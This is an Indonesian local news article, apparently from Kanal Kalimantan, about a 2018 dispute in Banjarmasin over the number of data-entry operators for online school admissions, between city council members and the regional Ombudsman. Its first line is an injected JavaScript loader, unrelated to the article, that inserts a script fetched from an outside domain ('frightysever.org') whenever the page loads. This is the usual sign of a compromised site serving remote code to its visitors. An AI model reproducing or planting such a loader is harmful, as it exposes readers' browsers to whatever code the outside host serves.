(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Sejumlah masalah yang mewarnai Penerimaan Peserta Didik Baru (PPDB) Online membuat Anggota DPRD Kota Banjarmasin harus mengkritisi kinerja PPDB selama dua hari lalu. Adapun beberapa hal yang menjadi pembahasan para wakil rakyat, ialah kurangnya tenaga teknis pada pelaksanaan PPDB secara online tingkat SMP pada tanggal 2-4 Juli 2018 tadi.
Ketua Komisi IV DPRD Banjarmasin Faisal Hariyadi mengatakan, selama berjalannya PPDB sistem zonasi berbasis online di Kota Banjarmasin, sangat minim sekali tenaga teknis ataupun operator yang berada di tiap sekolah. Hal akan membuat sekolah tesebut keteteran saat menginput data calon siswa.
Ini berdasar pantuan yang langsung diberbagai sekolah SMP Negeri yang memang hanya 4 operator saja. Maka ia menyarankan seharusnya penambahan 2 kali lipat dari jumlah semula. “Hal ini dialami berbagai sekolah, penumpukan calon siswa, para operator sekolahnya keteteran menginput data. Cuman 4 operator sebenarnya biar enak 8 operator,†ungkapnya.
Terkait dengan koneksi dari server dan sistem tata lokasi atau mapping yang kerap menjadi kendala, DPRD Kota Banjarmasin khususnya Komisi IV menginginkan memaksimalkan jumlah operator yang ada untuk melakukan menginputan data. “Ini merupakan introspeksi, harap saya ditahun depan untuk operator tidaklah lagi 4 orang karena tidak akan optimal,” ucapnya.
Sementara itu, Ketua Ombudsman RI perwakilan Kalsel Noorhalis Majid mengatakan untuk jumlah operator PPDB yang hanya 4 orang tersebut dirasa sudah cukup untuk melakukan penginputan data calon siswa ditiap sekolah.
Ia mengatakan 4 orang operator sudah bisa membantu kinerja PPDB tahun ini, terkait dengan keterlambatannya pemasung input data calon siswa karena mereka harus berhati-hati untuk memasukan data dai tiap calon siswa. Para operator diberikan waktu untuk bekerja tidak bisa terburu-buru. “Sabar, meninputan data perlu kehati hatian, berikan para perugas untuk menyelesaikan tugasnya,†katanya.
Terkait dengan harapan dari Komisi IV Banjarmasin untuk kedepannya bisa menambah operator yang semula berjumlah 4 menjadi 8 orang, dirasanya akan menambahkan penambahan biaya lagi, karena setahunya biaya pendidikan sangatlah terbatas. “Kalau DPRD ingin meminta menambahkan orang, mereka haru pikirkan juga masalah biaya,†singkatnya. (ammar)
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.